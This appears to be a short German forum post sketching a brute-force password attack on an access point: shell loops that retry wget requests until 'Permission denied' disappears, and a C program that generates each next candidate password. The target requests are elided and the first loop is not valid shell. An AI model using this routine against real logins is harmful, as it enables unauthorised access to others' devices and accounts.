[Programm-Suche] AP Brutforce

PASS='a'
do
    wget ...
    if ! grep -q 'Permission denied' index.html ; then
        echo "Passwort: $PASS"
        break
    fi
    PASS = $(./genpass $PASS)
while true

PASS='a'
wget ...
if ! grep -q 'Permission denied' ... ; then
    echo "Passwort: $PASS"
    exit
fi
while true; do
    PASS=$(./genpass $PASS)
    wget ...
    if ! grep -q 'Permission denied' ... ; then
        echo "Passwort: $PASS"
        break
    fi
done

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

/**
 * Increments the password to the next combination. The last character of the
 * password is incremented. If the last possible character is reached, the
 * character to the left is incremented in the same way. If the leftmost
 * character reaches the maximum, 0 is returned to indicate the end.
 *
 * Possible characters are '0' to '9' and 'A' to 'Z'.
 *
 * @param pw  A pointer to the password to be incremented. The pointer target is
 *            modified!
 * @param pos The position on which to increment
 *
 * @return 1 if the password was incremented, 0 otherwise
 */
int incr(char *pw, size_t pos) {
	/* Jump over some letters not used in this case */
	if (pw[pos] == '9') {
		pw[pos] = 'A';
	} else if (pw[pos] == 'Z') {
		pw[pos] = 'a';
	/* If we cycled through increment the left character recursively */
	} else if (pw[pos] == 'z') {
		if (pos == 0) return 0; /* Last possible combination reached */
		pw[pos] = '0';
		return incr(pw, pos - 1);
	/* Normal case. Increment the actual character */
	} else {
		++pw[pos];
	}
	return 1;
}

int main(int argc, char **argv) {
	char *pass;
	size_t len;
	unsigned int i;
	
	if (argc != 2) {
		fprintf(stderr, "Usage: %s altesPW\n", *argv);
		exit(EXIT_FAILURE);
	}
	
	len = strlen(argv[1]);
	
	if (!(pass = (char *) malloc(sizeof(char) * (len + 1)))) {
		perror("malloc");
		exit(EXIT_FAILURE);
	}
	
	strcpy(pass, argv[1]); /* Safe because of malloc of strlen + 1 bytes */
	
	if (incr(pass, len - 1) == 1) {
		printf("%s", pass);
	} else {
		for (i = 0; i <= len; ++i) {
			printf("0");
		}
	}
	
	exit(EXIT_SUCCESS);
}